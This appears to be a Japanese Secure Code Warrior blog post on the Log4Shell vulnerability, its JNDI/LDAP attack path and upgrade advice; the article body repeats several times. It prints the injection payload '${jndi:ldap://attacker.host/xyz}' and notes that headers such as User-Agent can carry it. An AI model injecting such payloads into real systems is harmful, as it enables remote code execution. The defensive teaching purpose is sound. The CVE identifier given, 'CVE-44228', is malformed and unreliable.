Log4jの脆弱性を解説!その攻撃経路と対策方法とは?
12月9日、Javaライブラリ「Log4j」の0-dayエクスプロイトが公開されました。Log4Shellと呼ばれるCVE-44228は、このエクスプロイトによってリモートコード実行(RCE)が可能になるため、「深刻度が高い」と評価されました。さらに、log4j-coreは、最も一般的に使用されているJavaロギングライブラリの1つであるため、何百万ものアプリケーションを危険にさらすことになります。
Log4Shellに取り組むためのスキルを素早くレベルアップしたいですか?
私たちは、Log4Shellの基本的な考え方から、Missionと呼ばれるシミュレータでこの脆弱性の悪用を体験するまでのショーケースを構築しました。このミッションでは、Log4jの脆弱性がインフラやアプリケーションにどのような影響を与えるかを説明します。ここをクリックしてショーケースに飛び込むか、読み進めて脆弱性の詳細を知ることができます。
古いニュース?
このエクスプロイトは新しいものではありません。すでにセキュリティ研究者のAlvaro MuñozとOleksandr Miroshは、2016年のBlackHatでの講演で、「アプリケーションは信頼されていないデータでJNDIルックアップを実行すべきではない」と強調し、標的となるJNDI/LDAPインジェクションがリモートコードの実行につながることを例示しています。そして、これこそがLog4Shellの核心なのです。
攻撃ベクトル
Log4Shellのインジェクションのペイロードは次のようなものです。
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
次に、JNDI(Java Naming and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを使ってサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が管理するLDAPサーバーに対してルックアップを実行します。その応答は、例えば、悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、その結果、脆弱なサーバー上で実行されることになります。
この脆弱性が問題となるのは、Log4jがすべてのログ・エントリを評価し、「jndi」という接頭辞を持つEL構文で書かれたすべてのログされたユーザー入力のルックアップを実行することです。このペイロードは、フォームフィールドなど、ユーザーがデータを入力できるあらゆる場所に注入することができます。また、User-AgentやX-Forwarded-ForなどのHTTPヘッダをカスタマイズして、ペイロードを搭載することができます。
実際に体験してみたい方は、ショーケースにアクセスして、ステップ2の「インパクトを体験する」に進んでください。
予防のために意識向上
Log4jは脆弱なコードにパッチを当てているため、すべてのアプリケーションでアップグレードが推奨されています。ただし、バージョン2.15.0および2.16.0には、DDoSなどの脆弱性が含まれていたため、12月下旬現在、2.17.0へのアップグレードが推奨されています。
コードを書く開発者として、私たちは常にセキュリティを考慮する必要があります。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にはリスクがあることを教えてくれました。安全だと思われる外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があることを意識する必要があります。
この脆弱性は防ぐことができたのでしょうか?イエスでもありノーでもあります。一方で、サードパーティのソフトウェアを介して脆弱なコンポーネントが導入されているため、開発者ができることは限られています。一方で、この問題から得られる教訓は、何度も繰り返されてきたものです。
Secure Code Warrior は、コードの脆弱性を未然に防ぐためには、セキュリティマインドを持った開発者が最善の方法であると考えています。SCWは、プログラミングフレームワークに特化したトレーニングを大規模に提供しているため、企業のお客様は、レポートデータを活用することで、影響を受けたJava開発者が誰であるかを迅速に特定することができました。また、SCWのトレーニングを受けたセキュリティ・チャンピオンを頼りに、Log4jのアップグレードを加速させました。
特にJava開発者向けに、Secure Code Warrior は、無料のIntelliJ-pluginであるSensei を提供しています。このルールベースのコード解析ツールは、コーディングガイドラインの徹底や、脆弱性の防止・修正に利用できます。独自のルールを作成することもできますし、用意されたクックブックを使用することもできます。そして、Log4Shellの脆弱性を瞬時に発見し、修正するのに役立つLog4jのクックブックをダウンロードするのを忘れないでください。
Log4Shellを防御するためのスキルのレベルアップ
このブログ記事で学んだことを実践してみたいと思いませんか?私たちのショーケースがお役に立てると思います。ショーケースの最初に、この脆弱性についての簡単な説明があり、その後、シミュレートされた環境に移動して、ガイド付きの手順でエクスプロイトを試すことができるようになっています。


2021年12月、Javaライブラリ「Log4j」に重大なセキュリティ脆弱性「Log4Shell」が公開されました。この記事では、Log4Shell脆弱性を基本的に把握できるように最もシンプルな形に分解し、この脆弱性の知識を使って模擬的なWebサイトを悪用してみるというミッション(遊び場)を紹介します。

Secure Code Warrior は、ソフトウェア開発ライフサイクル全体にわたってコードを保護し、サイバーセキュリティを最優先とする企業文化を創造するために、お客様の組織を支援します。AppSec マネージャー、開発者、CISO、またはセキュリティに関わるすべての人が、安全でないコードに関連するリスクを減らすことができるよう、支援します。
デモを予約するLaura Verheyde はSecure Code Warrior のソフトウェア開発者で、脆弱性のリサーチとMissions および Coding labs のコンテンツ作成に注力している。


12月9日、Javaライブラリ「Log4j」の0-dayエクスプロイトが公開されました。Log4Shellと呼ばれるCVE-44228は、このエクスプロイトによってリモートコード実行(RCE)が可能になるため、「深刻度が高い」と評価されました。さらに、log4j-coreは、最も一般的に使用されているJavaロギングライブラリの1つであるため、何百万ものアプリケーションを危険にさらすことになります。
Log4Shellに取り組むためのスキルを素早くレベルアップしたいですか?
私たちは、Log4Shellの基本的な考え方から、Missionと呼ばれるシミュレータでこの脆弱性の悪用を体験するまでのショーケースを構築しました。このミッションでは、Log4jの脆弱性がインフラやアプリケーションにどのような影響を与えるかを説明します。ここをクリックしてショーケースに飛び込むか、読み進めて脆弱性の詳細を知ることができます。
古いニュース?
このエクスプロイトは新しいものではありません。すでにセキュリティ研究者のAlvaro MuñozとOleksandr Miroshは、2016年のBlackHatでの講演で、「アプリケーションは信頼されていないデータでJNDIルックアップを実行すべきではない」と強調し、標的となるJNDI/LDAPインジェクションがリモートコードの実行につながることを例示しています。そして、これこそがLog4Shellの核心なのです。
攻撃ベクトル
Log4Shellのインジェクションのペイロードは次のようなものです。
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
次に、JNDI(Java Naming and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを使ってサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が管理するLDAPサーバーに対してルックアップを実行します。その応答は、例えば、悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、その結果、脆弱なサーバー上で実行されることになります。
この脆弱性が問題となるのは、Log4jがすべてのログ・エントリを評価し、「jndi」という接頭辞を持つEL構文で書かれたすべてのログされたユーザー入力のルックアップを実行することです。このペイロードは、フォームフィールドなど、ユーザーがデータを入力できるあらゆる場所に注入することができます。また、User-AgentやX-Forwarded-ForなどのHTTPヘッダをカスタマイズして、ペイロードを搭載することができます。
実際に体験してみたい方は、ショーケースにアクセスして、ステップ2の「インパクトを体験する」に進んでください。
予防のために意識向上
Log4jは脆弱なコードにパッチを当てているため、すべてのアプリケーションでアップグレードが推奨されています。ただし、バージョン2.15.0および2.16.0には、DDoSなどの脆弱性が含まれていたため、12月下旬現在、2.17.0へのアップグレードが推奨されています。
コードを書く開発者として、私たちは常にセキュリティを考慮する必要があります。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にはリスクがあることを教えてくれました。安全だと思われる外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があることを意識する必要があります。
この脆弱性は防ぐことができたのでしょうか?イエスでもありノーでもあります。一方で、サードパーティのソフトウェアを介して脆弱なコンポーネントが導入されているため、開発者ができることは限られています。一方で、この問題から得られる教訓は、何度も繰り返されてきたものです。
Secure Code Warrior は、コードの脆弱性を未然に防ぐためには、セキュリティマインドを持った開発者が最善の方法であると考えています。SCWは、プログラミングフレームワークに特化したトレーニングを大規模に提供しているため、企業のお客様は、レポートデータを活用することで、影響を受けたJava開発者が誰であるかを迅速に特定することができました。また、SCWのトレーニングを受けたセキュリティ・チャンピオンを頼りに、Log4jのアップグレードを加速させました。
特にJava開発者向けに、Secure Code Warrior は、無料のIntelliJ-pluginであるSensei を提供しています。このルールベースのコード解析ツールは、コーディングガイドラインの徹底や、脆弱性の防止・修正に利用できます。独自のルールを作成することもできますし、用意されたクックブックを使用することもできます。そして、Log4Shellの脆弱性を瞬時に発見し、修正するのに役立つLog4jのクックブックをダウンロードするのを忘れないでください。
Log4Shellを防御するためのスキルのレベルアップ
このブログ記事で学んだことを実践してみたいと思いませんか?私たちのショーケースがお役に立てると思います。ショーケースの最初に、この脆弱性についての簡単な説明があり、その後、シミュレートされた環境に移動して、ガイド付きの手順でエクスプロイトを試すことができるようになっています。

12月9日、Javaライブラリ「Log4j」の0-dayエクスプロイトが公開されました。Log4Shellと呼ばれるCVE-44228は、このエクスプロイトによってリモートコード実行(RCE)が可能になるため、「深刻度が高い」と評価されました。さらに、log4j-coreは、最も一般的に使用されているJavaロギングライブラリの1つであるため、何百万ものアプリケーションを危険にさらすことになります。
Log4Shellに取り組むためのスキルを素早くレベルアップしたいですか?
私たちは、Log4Shellの基本的な考え方から、Missionと呼ばれるシミュレータでこの脆弱性の悪用を体験するまでのショーケースを構築しました。このミッションでは、Log4jの脆弱性がインフラやアプリケーションにどのような影響を与えるかを説明します。ここをクリックしてショーケースに飛び込むか、読み進めて脆弱性の詳細を知ることができます。
古いニュース?
このエクスプロイトは新しいものではありません。すでにセキュリティ研究者のAlvaro MuñozとOleksandr Miroshは、2016年のBlackHatでの講演で、「アプリケーションは信頼されていないデータでJNDIルックアップを実行すべきではない」と強調し、標的となるJNDI/LDAPインジェクションがリモートコードの実行につながることを例示しています。そして、これこそがLog4Shellの核心なのです。
攻撃ベクトル
Log4Shellのインジェクションのペイロードは次のようなものです。
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
次に、JNDI(Java Naming and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを使ってサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が管理するLDAPサーバーに対してルックアップを実行します。その応答は、例えば、悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、その結果、脆弱なサーバー上で実行されることになります。
この脆弱性が問題となるのは、Log4jがすべてのログ・エントリを評価し、「jndi」という接頭辞を持つEL構文で書かれたすべてのログされたユーザー入力のルックアップを実行することです。このペイロードは、フォームフィールドなど、ユーザーがデータを入力できるあらゆる場所に注入することができます。また、User-AgentやX-Forwarded-ForなどのHTTPヘッダをカスタマイズして、ペイロードを搭載することができます。
実際に体験してみたい方は、ショーケースにアクセスして、ステップ2の「インパクトを体験する」に進んでください。
予防のために意識向上
Log4jは脆弱なコードにパッチを当てているため、すべてのアプリケーションでアップグレードが推奨されています。ただし、バージョン2.15.0および2.16.0には、DDoSなどの脆弱性が含まれていたため、12月下旬現在、2.17.0へのアップグレードが推奨されています。
コードを書く開発者として、私たちは常にセキュリティを考慮する必要があります。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にはリスクがあることを教えてくれました。安全だと思われる外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があることを意識する必要があります。
この脆弱性は防ぐことができたのでしょうか?イエスでもありノーでもあります。一方で、サードパーティのソフトウェアを介して脆弱なコンポーネントが導入されているため、開発者ができることは限られています。一方で、この問題から得られる教訓は、何度も繰り返されてきたものです。
Secure Code Warrior は、コードの脆弱性を未然に防ぐためには、セキュリティマインドを持った開発者が最善の方法であると考えています。SCWは、プログラミングフレームワークに特化したトレーニングを大規模に提供しているため、企業のお客様は、レポートデータを活用することで、影響を受けたJava開発者が誰であるかを迅速に特定することができました。また、SCWのトレーニングを受けたセキュリティ・チャンピオンを頼りに、Log4jのアップグレードを加速させました。
特にJava開発者向けに、Secure Code Warrior は、無料のIntelliJ-pluginであるSensei を提供しています。このルールベースのコード解析ツールは、コーディングガイドラインの徹底や、脆弱性の防止・修正に利用できます。独自のルールを作成することもできますし、用意されたクックブックを使用することもできます。そして、Log4Shellの脆弱性を瞬時に発見し、修正するのに役立つLog4jのクックブックをダウンロードするのを忘れないでください。
Log4Shellを防御するためのスキルのレベルアップ
このブログ記事で学んだことを実践してみたいと思いませんか?私たちのショーケースがお役に立てると思います。ショーケースの最初に、この脆弱性についての簡単な説明があり、その後、シミュレートされた環境に移動して、ガイド付きの手順でエクスプロイトを試すことができるようになっています。

以下のリンクをクリックし、この資料のPDFをダウンロードしてください。
Secure Code Warrior は、ソフトウェア開発ライフサイクル全体にわたってコードを保護し、サイバーセキュリティを最優先とする企業文化を創造するために、お客様の組織を支援します。AppSec マネージャー、開発者、CISO、またはセキュリティに関わるすべての人が、安全でないコードに関連するリスクを減らすことができるよう、支援します。
レポートを見るデモを予約するLaura Verheyde はSecure Code Warrior のソフトウェア開発者で、脆弱性のリサーチとMissions および Coding labs のコンテンツ作成に注力している。
12月9日、Javaライブラリ「Log4j」の0-dayエクスプロイトが公開されました。Log4Shellと呼ばれるCVE-44228は、このエクスプロイトによってリモートコード実行(RCE)が可能になるため、「深刻度が高い」と評価されました。さらに、log4j-coreは、最も一般的に使用されているJavaロギングライブラリの1つであるため、何百万ものアプリケーションを危険にさらすことになります。
Log4Shellに取り組むためのスキルを素早くレベルアップしたいですか?
私たちは、Log4Shellの基本的な考え方から、Missionと呼ばれるシミュレータでこの脆弱性の悪用を体験するまでのショーケースを構築しました。このミッションでは、Log4jの脆弱性がインフラやアプリケーションにどのような影響を与えるかを説明します。ここをクリックしてショーケースに飛び込むか、読み進めて脆弱性の詳細を知ることができます。
古いニュース?
このエクスプロイトは新しいものではありません。すでにセキュリティ研究者のAlvaro MuñozとOleksandr Miroshは、2016年のBlackHatでの講演で、「アプリケーションは信頼されていないデータでJNDIルックアップを実行すべきではない」と強調し、標的となるJNDI/LDAPインジェクションがリモートコードの実行につながることを例示しています。そして、これこそがLog4Shellの核心なのです。
攻撃ベクトル
Log4Shellのインジェクションのペイロードは次のようなものです。
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
次に、JNDI(Java Naming and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを使ってサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIは攻撃者が管理するLDAPサーバーに対してルックアップを実行します。その応答は、例えば、悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、その結果、脆弱なサーバー上で実行されることになります。
この脆弱性が問題となるのは、Log4jがすべてのログ・エントリを評価し、「jndi」という接頭辞を持つEL構文で書かれたすべてのログされたユーザー入力のルックアップを実行することです。このペイロードは、フォームフィールドなど、ユーザーがデータを入力できるあらゆる場所に注入することができます。また、User-AgentやX-Forwarded-ForなどのHTTPヘッダをカスタマイズして、ペイロードを搭載することができます。
実際に体験してみたい方は、ショーケースにアクセスして、ステップ2の「インパクトを体験する」に進んでください。
予防のために意識向上
Log4jは脆弱なコードにパッチを当てているため、すべてのアプリケーションでアップグレードが推奨されています。ただし、バージョン2.15.0および2.16.0には、DDoSなどの脆弱性が含まれていたため、12月下旬現在、2.17.0へのアップグレードが推奨されています。
コードを書く開発者として、私たちは常にセキュリティを考慮する必要があります。Log4Shellは、サードパーティのフレームワークやライブラリを使用する際にはリスクがあることを教えてくれました。安全だと思われる外部ソースを使用することで、アプリケーションのセキュリティが損なわれる可能性があることを意識する必要があります。
この脆弱性は防ぐことができたのでしょうか?イエスでもありノーでもあります。一方で、サードパーティのソフトウェアを介して脆弱なコンポーネントが導入されているため、開発者ができることは限られています。一方で、この問題から得られる教訓は、何度も繰り返されてきたものです。
Secure Code Warrior は、コードの脆弱性を未然に防ぐためには、セキュリティマインドを持った開発者が最善の方法であると考えています。SCWは、プログラミングフレームワークに特化したトレーニングを大規模に提供しているため、企業のお客様は、レポートデータを活用することで、影響を受けたJava開発者が誰であるかを迅速に特定することができました。また、SCWのトレーニングを受けたセキュリティ・チャンピオンを頼りに、Log4jのアップグレードを加速させました。
特にJava開発者向けに、Secure Code Warrior は、無料のIntelliJ-pluginであるSensei を提供しています。このルールベースのコード解析ツールは、コーディングガイドラインの徹底や、脆弱性の防止・修正に利用できます。独自のルールを作成することもできますし、用意されたクックブックを使用することもできます。そして、Log4Shellの脆弱性を瞬時に発見し、修正するのに役立つLog4jのクックブックをダウンロードするのを忘れないでください。
Log4Shellを防御するためのスキルのレベルアップ
このブログ記事で学んだことを実践してみたいと思いませんか?私たちのショーケースがお役に立てると思います。ショーケースの最初に、この脆弱性についての簡単な説明があり、その後、シミュレートされた環境に移動して、ガイド付きの手順でエクスプロイトを試すことができるようになっています。
始めるためのリソース
セキュア・バイ・デザインベストプラクティスの定義、開発者の能力向上、予防的セキュリティ成果のベンチマーク
このリサーチペーパーでは、Secure Code Warrior 共同設立者であるピーテル・ダニュー(Pieter Danhieux)氏とマティアス・マドゥ(Matias Madou)博士、そして専門家であるクリス・イングリス(Chris Inglis)氏(元米国サイバーディレクター、現パラディン・キャピタル・グループ戦略顧問)、デヴィン・リンチ(Devin Lynch)氏(パラディン・グローバル・インスティテュート・シニアディレクター)が、CISO、アプリケーション・セキュリティ担当副社長、ソフトウェア・セキュリティの専門家など、企業のセキュリティ・リーダー20人以上への詳細なインタビューから得られた主な知見を明らかにします。
セキュリティ スキルのベンチマーク: 企業におけるセキュアな設計の合理化
セキュアバイデザイン(SBD)構想の成功に関する有意義なデータを見つけることは、非常に困難である。CISO は、セキュリティプログラム活動の投資収益率(ROI)とビジネス価値を、従業員レベルと企業レベルの両方で証明しようとすると、しばしば困難に直面します。言うまでもなく、企業にとって、現在の業界標準に対して自社の組織がどのようにベンチマークされているかを把握することは特に困難です。大統領の国家サイバーセキュリティ戦略は、関係者に「デザインによるセキュリティとレジリエンスを受け入れる」ことを求めている。セキュアバイデザインの取り組みを成功させる鍵は、開発者にセキュアなコードを保証するスキルを与えるだけでなく、規制当局にそれらのスキルが整っていることを保証することである。本プレゼンテーションでは、25万人以上の開発者から収集した社内データ、データに基づく顧客の洞察、公的研究など、複数の一次ソースから得られた無数の定性的・定量的データを紹介します。こうしたデータ・ポイントの集積を活用することで、複数の業種におけるセキュア・バイ・デザイン・イニシアチブの現状をお伝えすることを目的としています。本レポートでは、この領域が現在十分に活用されていない理由、スキルアッププログラムの成功がサイバーセキュリティのリスク軽減に与える大きな影響、コードベースから脆弱性のカテゴリーを排除できる可能性について詳述しています。
始めるためのリソース
明らかになった:サイバー業界はセキュア・バイ・デザインをどのように定義しているか
最新のホワイトペーパーでは、当社の共同設立者であるピーテル・ダニュー(Pieter Danhieux)氏とマティアス・マドゥ(Matias Madou)博士が、CISO、AppSecリーダー、セキュリティ専門家を含む20人以上の企業セキュリティリーダーと対談し、このパズルの重要なピースを見つけ出し、Secure by Design運動の背後にある現実を明らかにしました。セキュア・バイ・デザインは、セキュリティ・チーム全体で共有された野心ですが、共有されたプレイブックはありません。